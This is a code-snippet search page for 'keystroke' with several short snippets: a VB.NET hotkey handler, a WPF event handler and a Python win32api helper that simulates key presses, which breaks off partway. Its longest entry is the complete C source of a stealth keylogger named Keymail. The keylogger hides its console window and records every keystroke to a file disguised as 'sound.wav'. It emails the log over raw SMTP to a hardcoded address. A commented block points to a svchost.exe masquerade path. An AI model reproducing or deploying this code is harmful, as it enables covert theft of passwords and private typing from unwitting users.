working on it ...

Filters

Explore Public Snippets

Sort by

Found 64 snippets matching: keystroke

    public by p.kontalis  3521  1  5  0

    Hotkey for Application

    Hotkey or Combination that can effect everywhere inside the application
    Private Sub Form_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ' Add the following line in order to enable the capability to capture the keyboard events before any other element in the form.
        Me.KeyPreview = True
    End Sub
    
    Private Sub Hotkeys_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
        ' The Alt + P Hotkey raise the event Button1.Click
        If (e.Alt AndAlso (e.KeyCode = Keys.P)) Then RaiseEvent Button1.Click
    End If

    public by snip2codesh1nu11bi  3256  3  4  0

    Keymail-A Keylogger written in C# that will send logged keystrokes to inputed e-mail

    Keymail-A Keylogger written in C# that will send logged keystrokes to inputed e-mail: gistfile1.txt
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
    *                                                                              *
    *  File: keymail.c   Ver. 0.7                                                  *
    *                                                                              *
    *  Purpose: a stealth (somewhat) key logger, writes to a log file then sends   *
    *  and email to whoever is set in the #define options at compile time.         *
    *  This code is for educational uses, don't be an ass hat with it.             *
    *  White Scorpion (www.white-scorpion.nl) did the initial work on the key      *
    *  logger, but he has gone on to bigger and better things.                     *
    *  This version was crafted by Irongeek (www.Irongeek.com), who tacked on      *
    *  some code to make it send emails, along with a few other changes.           *
    *  If some of the code is crappy, blame Irongeek and not White Scorpion.       *
    *  Please send Irongeek improvements and he will post the changes and give you *
    *  credit for your contributions.                                              *
    *                                                                              *
    *  This program is free software; you can redistribute it and/or               *
    *  modify it under the terms of the GNU General Public License                 *
    *  as published by the Free Software Foundation; either version 2              *
    *  of the License, or (at your option) any later version.                      *
    *                                                                              *
    *  This program is distributed in the hope that it will be useful,             *
    *  but WITHOUT ANY WARRANTY; without even the implied warranty of              *
    *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               *
    *  GNU General Public License for more details.                                *
    *                                                                              *
    *  You should have received a copy of the GNU General Public License           *
    *  along with this program; if not, write to the Free Software                 *
    *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. *
    *                                                                              *
    * Change log:                                                                  *
    *      1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.      *
    *      6/22/06 Added the date and time functionality using ctime and fixed     *
    *              a bug where subject was being defined twice.(ThVoidedLine)      *
    *                                                                              *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    /*
    Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
            Linker error] undefined reference to `WSAStartup@8'
    Add this:
             -lws2_32
    to Tools->Compiler Options under the section on compile flags.
    */
    
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    #include <time.h>
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage);
    #define BUFSIZE 800
    #define waittime 500
    /*If you don't know the mail exchange server for an address for the following 
    "nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
    whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
    IT WILL NOT WORK!!! */
    #define cmailserver "gmail-smtp-in.l.google.com"
    #define cemailto "irong33k@gmail.com"
    #define cemailfrom "irong33k@gmail.com"
    #define LogLength 100
    #define FileName "sound.wav"
    #define SMTPLog "ring.wav"
    #define cemailsubject "Logged"
    
    int test_key(void);
    int main(void)
    {
       //Uncomment the lines below to put the keylogger in stealh mode.
       HWND stealth; /*creating stealth */
       AllocConsole();
       stealth=FindWindowA("ConsoleWindowClass",NULL);
       ShowWindow(stealth,0);
       
       {FILE *file;
       file=fopen(FileName,"a+");
       time_t theTime=time(0);
       fputs("\nStarted logging: ", file);
       fputs(ctime(&theTime),file);
       fclose(file);
       }
       
       /* if (test==2)
        {//the path in which the file needs to be
        char *path="c:\\%windir%\\svchost.exe";
        create=create_key(path);          
        } */
       
       int t=get_keys();    
       return t;
    }  
    
    int get_keys(void)
    {
    int freadindex;
    char *buf;
    long len;
    FILE *file;
    file=fopen(FileName,"a+");
    
    
               short character;
                 while(1)
                 {
                        sleep(10);/*to prevent 100% cpu usage*/
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            {  
                                FILE *file;
                                file=fopen(FileName,"a+");
                                if(file==NULL)
                                {
                                        return 1;
                                }            
                                if(file!=NULL)
                                {        
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }        
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_SHIFT:
                                                  fputs("\r\n[SHIFT]\r\n",file);
                                                  fclose(file);
                                                  break;                                            
                                                  case VK_RETURN:
                                                  fputs("\r\n[ENTER]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("\r\n[BACKSPACE]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("\r\n[TAB]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("\r\n[CTRL]\r\n",file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_DELETE:
                                                  fputs("\r\n[DEL]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("\r\n[;:]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("\r\n[/?]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("\r\n[`~]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("\r\n[ [{ ]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("\r\n[\\|]\r\n",file);
                                                  fclose(file);
                                                  break;                                
                                                  case VK_OEM_6:
                                                  fputs("\r\n[ ]} ]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_7:
                                                  fputs("\r\n['\"]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  case 187:
                                                  fputc('+',file);
                                                  fclose(file);
                                                  break;
                                                  case 188:
                                                  fputc(',',file);
                                                  fclose(file);
                                                  break;
                                                  case 189:
                                                  fputc('-',file);
                                                  fclose(file);
                                                  break;
                                                  case 190:
                                                  fputc('.',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("\r\n[CAPS LOCK]\r\n",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);
                                                  break;
                                           }        
                                      }    
                                 }        
                       }    
                   }                  
               FILE *file;
               file=fopen(FileName,"rb");
               fseek(file,0,SEEK_END); //go to end
               len=ftell(file); //get position at end (length)
               if(len>=LogLength) {
                 fseek(file,0,SEEK_SET);//go to beg.
                 buf=(char *)malloc(len);//malloc buffer
                 freadindex=fread(buf,1,len,file);//read into buffer
                 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
                 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
                 fclose(file);
                 file=fopen(FileName,"w");                        
                 }
               
                fclose(file);
                //free (buf);
                     
               }
               return EXIT_SUCCESS;                            
    }
    
    int MailIt (char *mailserver, char *emailto, char *emailfrom, 
    char *emailsubject, char *emailmessage) {
        SOCKET sockfd;
        WSADATA wsaData;
        FILE *smtpfile;
        
        #define bufsize 300
        int bytes_sent;   /* Sock FD */
        int err;
        struct hostent *host;   /* info from gethostbyname */
        struct sockaddr_in dest_addr;   /* Host Address */
        char line[1000];
        char *Rec_Buf = (char*) malloc(bufsize+1);
        smtpfile=fopen(SMTPLog,"a+");
        if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
          fputs("WSAStartup failed",smtpfile);
          WSACleanup();
          return -1;
        }
        if ( (host=gethostbyname(mailserver)) == NULL) {
           perror("gethostbyname");
           exit(1);
        }
        memset(&dest_addr,0,sizeof(dest_addr));
        memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
    
         /* Prepare dest_addr */
         dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
         dest_addr.sin_port= htons(25); /* PORT defined above */
    
         /* Get socket */
    
         if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            perror("socket");
            exit(1);
            }
         /* Connect !*/
         fputs("Connecting....\n",smtpfile);
     
        if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
            perror("connect");
            exit(1);
            }
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"helo me.somepalace.com\n");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"MAIL FROM:<");
         strncat(line,emailfrom,strlen(emailfrom));
         strncat(line,">\n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"RCPT TO:<");
         strncat(line,emailto,strlen(emailto));
         strncat(line,">\n",3);
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"DATA\n");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         sleep(waittime);
         strcpy(line,"To:");
         strcat(line,emailto);
         strcat(line,"\n");
         strcat(line,"From:");
         strcat(line,emailfrom);
         strcat(line,"\n");
         strcat(line,"Subject:");
         strcat(line,emailsubject);
         strcat(line,"\n");
         strcat(line,emailmessage);
         strcat(line,"\r\n.\r\n");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         strcpy(line,"quit\n");
         fputs(line,smtpfile);
         bytes_sent=send(sockfd,line,strlen(line),0);
         sleep(waittime);
         err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
         fputs(Rec_Buf,smtpfile);
         fclose(smtpfile);                          
         #ifdef WIN32
         closesocket(sockfd);
         WSACleanup();
         #else
         close(sockfd);
         #endif
    }
    
    
    

    public by msdn  971  0  5  0

    KeyStrokesChanged

    using System;
    using System.Net;
    using System.Windows;
    using System.Windows.Controls;
    using System.Windows.Documents;
    using System.Windows.Ink;
    using System.Windows.Input;
    using System.Windows.Media;
    using System.Windows.Media.Animation;
    using System.Windows.Shapes;
    using System.Collections.ObjectModel;
    using System.Collections.Specialized;
    using System.ComponentModel;
    
    private static void KeyStrokesChanged(DependencyObject obj, DependencyPropertyChangedEventArgs e)
    {
        ((KonamiCodeControl)obj).Reset();
    }

    external by hightoon  114  0  2  0

    Python win32api simple Vitual keystroke example

    Python win32api simple Vitual keystroke example: Vitual keystroke example
    #Giant dictonary to hold key name and VK value
    VK_CODE = {'backspace':0x08,
               'tab':0x09,
               'clear':0x0C,
               'enter':0x0D,
               'shift':0x10,
               'ctrl':0x11,
               'alt':0x12,
               'pause':0x13,
               'caps_lock':0x14,
               'esc':0x1B,
               'spacebar':0x20,
               'page_up':0x21,
               'page_down':0x22,
               'end':0x23,
               'home':0x24,
               'left_arrow':0x25,
               'up_arrow':0x26,
               'right_arrow':0x27,
               'down_arrow':0x28,
               'select':0x29,
               'print':0x2A,
               'execute':0x2B,
               'print_screen':0x2C,
               'ins':0x2D,
               'del':0x2E,
               'help':0x2F,
               '0':0x30,
               '1':0x31,
               '2':0x32,
               '3':0x33,
               '4':0x34,
               '5':0x35,
               '6':0x36,
               '7':0x37,
               '8':0x38,
               '9':0x39,
               'a':0x41,
               'b':0x42,
               'c':0x43,
               'd':0x44,
               'e':0x45,
               'f':0x46,
               'g':0x47,
               'h':0x48,
               'i':0x49,
               'j':0x4A,
               'k':0x4B,
               'l':0x4C,
               'm':0x4D,
               'n':0x4E,
               'o':0x4F,
               'p':0x50,
               'q':0x51,
               'r':0x52,
               's':0x53,
               't':0x54,
               'u':0x55,
               'v':0x56,
               'w':0x57,
               'x':0x58,
               'y':0x59,
               'z':0x5A,
               'numpad_0':0x60,
               'numpad_1':0x61,
               'numpad_2':0x62,
               'numpad_3':0x63,
               'numpad_4':0x64,
               'numpad_5':0x65,
               'numpad_6':0x66,
               'numpad_7':0x67,
               'numpad_8':0x68,
               'numpad_9':0x69,
               'multiply_key':0x6A,
               'add_key':0x6B,
               'separator_key':0x6C,
               'subtract_key':0x6D,
               'decimal_key':0x6E,
               'divide_key':0x6F,
               'F1':0x70,
               'F2':0x71,
               'F3':0x72,
               'F4':0x73,
               'F5':0x74,
               'F6':0x75,
               'F7':0x76,
               'F8':0x77,
               'F9':0x78,
               'F10':0x79,
               'F11':0x7A,
               'F12':0x7B,
               'F13':0x7C,
               'F14':0x7D,
               'F15':0x7E,
               'F16':0x7F,
               'F17':0x80,
               'F18':0x81,
               'F19':0x82,
               'F20':0x83,
               'F21':0x84,
               'F22':0x85,
               'F23':0x86,
               'F24':0x87,
               'num_lock':0x90,
               'scroll_lock':0x91,
               'left_shift':0xA0,
               'right_shift ':0xA1,
               'left_control':0xA2,
               'right_control':0xA3,
               'left_menu':0xA4,
               'right_menu':0xA5,
               'browser_back':0xA6,
               'browser_forward':0xA7,
               'browser_refresh':0xA8,
               'browser_stop':0xA9,
               'browser_search':0xAA,
               'browser_favorites':0xAB,
               'browser_start_and_home':0xAC,
               'volume_mute':0xAD,
               'volume_Down':0xAE,
               'volume_up':0xAF,
               'next_track':0xB0,
               'previous_track':0xB1,
               'stop_media':0xB2,
               'play/pause_media':0xB3,
               'start_mail':0xB4,
               'select_media':0xB5,
               'start_application_1':0xB6,
               'start_application_2':0xB7,
               'attn_key':0xF6,
               'crsel_key':0xF7,
               'exsel_key':0xF8,
               'play_key':0xFA,
               'zoom_key':0xFB,
               'clear_key':0xFE,
               '+':0xBB,
               ',':0xBC,
               '-':0xBD,
               '.':0xBE,
               '/':0xBF,
               '`':0xC0,
               ';':0xBA,
               '[':0xDB,
               '\\':0xDC,
               ']':0xDD,
               "'":0xDE,
               '`':0xC0}
    
    
    
    def press(*args):
        '''
        one press, one release.
        accepts as many arguments as you want. e.g. press('left_arrow', 'a','b').
        '''
        for i in args:
            win32api.keybd_event(VK_CODE[i], 0,0,0)
            time.sleep(.05)
            win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
    def pressAndHold(*args):
        '''
        press and hold. Do NOT release.
        accepts as many arguments as you want.
        e.g. pressAndHold('left_arrow', 'a','b').
        '''
        for i in args:
            win32api.keybd_event(VK_CODE[i], 0,0,0)
            time.sleep(.05)
               
    def pressHoldRelease(*args):
        '''
        press and hold passed in strings. Once held, release
        accepts as many arguments as you want.
        e.g. pressAndHold('left_arrow', 'a','b').
    
        this is useful for issuing shortcut command or shift commands.
        e.g. pressHoldRelease('ctrl', 'alt', 'del'), pressHoldRelease('shift','a')
        '''
        for i in args:
            win32api.keybd_event(VK_CODE[i], 0,0,0)
            time.sleep(.05)
                
        for i in args:
                win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
                time.sleep(.1)
                
            
    
    def release(*args):
        '''
        release depressed keys
        accepts as many arguments as you want.
        e.g. release('left_arrow', 'a','b').
        '''
        for i in args:
               win32api.keybd_event(VK_CODE[i],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
    
    def typer(string=None,*args):
    ##    time.sleep(4)
        for i in string:
            if i == ' ':
                win32api.keybd_event(VK_CODE['spacebar'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['spacebar'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '!':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['1'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['1'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '@':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['2'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['2'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '{':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['['], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['['],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '?':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['/'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['/'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == ':':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE[';'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE[';'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '"':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['\''], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['\''],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '}':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE[']'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE[']'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '#':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['3'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['3'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '$':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['4'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['4'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '%':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['5'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['5'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '^':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['6'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['6'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '&':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['7'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['7'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '*':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['8'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['8'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '(':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['9'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['9'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == ')':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['0'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['0'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '_':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['-'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['-'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
    
            elif i == '=':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['+'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['+'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '~':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['`'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['`'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '<':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE[','], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE[','],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == '>':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['.'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['.'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'A':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['a'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['a'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'B':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['b'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['b'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'C':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['c'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['c'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'D':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['d'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['d'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'E':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['e'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['e'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'F':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['f'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['f'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'G':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['g'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['g'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'H':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['h'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['h'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'I':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['i'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['i'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'J':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['j'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['j'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'K':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['k'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['k'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'L':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['l'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['l'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'M':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['m'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
                win32api.keybd_event(VK_CODE['m'],0 ,win32con.KEYEVENTF_KEYUP ,0)
    
            elif i == 'N':
                win32api.keybd_event(VK_CODE['left_shift'], 0,0,0)
                win32api.keybd_event(VK_CODE['n'], 0,0,0)
                time.sleep(.05)
                win32api.keybd_event(VK_CODE['left_shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)
